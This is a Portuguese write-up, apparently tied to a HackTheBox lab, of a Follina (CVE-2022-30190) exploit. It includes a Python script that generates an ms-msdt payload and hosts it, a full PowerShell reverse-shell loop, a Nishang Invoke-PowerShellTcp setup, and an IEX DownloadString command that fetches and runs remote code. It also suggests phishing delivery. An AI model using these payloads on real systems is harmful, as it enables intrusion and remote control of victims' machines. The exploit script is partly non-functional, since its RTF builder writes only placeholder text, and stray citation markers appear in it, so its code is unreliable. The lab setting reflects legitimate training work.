
Exploit PoC automatizado para CVE-2022-30190 (Follina) que gera arquivos maliciosos RTF/DOCX abusando do protocolo MSDT para executar comandos arbitrários e implantar reverse shells via PowerShell.
Follina (CVE-2022-30190) é uma vulnerabilidade crítica de execução remota de comandos (RCE) que afeta a Ferramenta de Diagnóstico de Suporte da Microsoft (MSDT). Esta falha foi descoberta originalmente através de um arquivo malicioso detectado no VirusTotal e foi batizada pelo pesquisador Kevin Beaumont.
No contexto da máquina Outdated do HackTheBox, esta vulnerabilidade é usada como o vetor de entrada principal para ganhar acesso ao sistema.
A exploração baseia-se no abuso do esquema de protocolo ms-msdt, permitindo que um atacante execute código arbitrário através do carregamento de recursos externos. O ataque pode ser ativado simplesmente ao abrir ou visualizar um documento do Office (DOCX) ou um arquivo de texto rico (RTF) especialmente criado.
Para automatizar o ataque, recomenda-se o uso de scripts de prova de conceito (PoC) disponíveis em plataformas como GitHub. O script follina.py permite configurar a carga útil de forma simples.
Repositório sugerido: São mencionadas versões funcionais de pesquisadores como John Hammond ou Edge-Security.
Comando de geração:
python3 follina.py -m command -t rtf -c "comando_a_executar"
Onde:
-m indica o modo de execução (command ou binary)-t o tipo de arquivo (rtf ou docx)-c o comando a injetarUm método eficaz para obter um console interativo no Windows é injetar uma instrução do PowerShell que baixe e invoque uma reverse shell da suíte Nishang (Invoke-PowerShellTcp.ps1).
O script de exploração gera um recurso HTML malicioso que contém a instrução em Base64 e o hospeda automaticamente em um servidor web local (porta 80). O documento malicioso (click_me.rtf) apontará para este endereço URL para acionar o processo de diagnóstico do Windows e executar o código.
Em cenários realistas ou de auditoria, o atacante pode enviar o link para o recurso HTML ou o documento malicioso para uma vítima através de técnicas de phishing ou SMTP (usando ferramentas como swaks).
No momento da interação do usuário (ou de uma tarefa automatizada que processe o arquivo), o MSDT interpreta a carga útil e estabelece uma conexão de volta para a máquina do atacante.
Para receber a conexão, o atacante deve estar em escuta (por exemplo, com netcat ou rlwrap) na porta configurada na reverse shell. Após a exploração bem-sucedida, obtém-se um console interativo com os privilégios do usuário que executou a ação, permitindo prosseguir com a enumeração local e a escalada de privilégios.
follina.pyEste script automatiza a criação do arquivo malicioso (RTF ou DOCX), gera o recurso HTML que explora o esquema de protocolo ms-msdt e levanta um servidor local para servir a carga útil.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Estrutura baseada na pesquisa de Kevin Beaumont e nas PoC mencionadas [2, 6]
def generate_payload(command):
# O comando deve estar codificado em Base64 para ser processado pelo MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa do protocolo ms-msdt [5]
# Utiliza-se uma cadeia longa de caracteres para preencher o buffer e acionar a execução
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Preenchimento adicional para garantir o processamento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Gera um arquivo RTF que aponta para o recurso HTML externo [3, 4]
print(f"[*] Gerando arquivo malicioso: {filename}")
# Nota: Em uma implementação real, aqui é injetado o objeto OLE que aponta para server_url
with open(filename, "w") as f:
f.write(f"Arquivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP ativo na porta {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de execução [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de arquivo a gerar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a executar no sistema vítima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Porta do servidor local [7]")
args = parser.parse_args()
# 1. Criar o payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Criar o documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar o servidor para receber a requisição [4, 7]
run_server(args.port)
Parâmetros Críticos: Conforme descrito nas fontes, o script utiliza -m para o modo, -t para o tipo de arquivo e -c para o comando.
Injeção do PowerShell: Um uso comum visto no treinamento de s4vitar é injetar uma instrução do PowerShell que baixe e invoque uma reverse shell do Nishang (Invoke-PowerShellTcp.ps1) para ganhar acesso interativo.
Execução: O ataque é ativado quando a vítima abre ou simplesmente visualiza o arquivo malicioso (RTF/DOCX), o que faz com que o sistema tente carregar o recurso HTML e execute o comando através da ferramenta de diagnóstico da Microsoft (MSDT).
Escuta: Você deve estar em escuta (ex.: com netcat) na porta especificada em sua reverse shell para receber a conexão assim que o exploit for acionado na máquina vítima.
Invoke-PowerShellTcp.ps1 (Nishang)O script Invoke-PowerShellTcp.ps1 é uma das ferramentas mais utilizadas da suíte Nishang para obter reverse shells em sistemas Windows.
O script original é baixado do repositório oficial do Nishang no GitHub. Os passos típicos para seu uso são:
wget para trazer o recurso para a máquina do atacante.reverse.ps1 ou ps.ps1, para facilitar sua invocação a partir da máquina vítima.Para transformar o script em uma carga útil autoexecutável, adiciona-se uma linha como a seguinte ao final do arquivo .ps1:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>
Onde <TU_IP_ATACANTE> e <TU_PUERTO> devem ser substituídos pelos seus dados de escuta (por exemplo, 10.10.14.29 e 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Nota: Este código segue a lógica do "gitbash" e terminais interativos mencionados na resolução de máquinas como Compiled).
Assim que o atacante tem o script hospedado em um servidor HTTP local (porta 80), utiliza-se o comando IEX (Invoke-Expression) na máquina vítima para carregá-lo e executá-lo diretamente na memória sem tocar no disco:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
Este método é fundamental na exploração de vulnerabilidades como Follina ou na obtenção de acesso inicial após comprometer serviços web. Uma vez executado, o atacante recebe a conexão em uma sessão de netcat em escuta.
Pwned!!!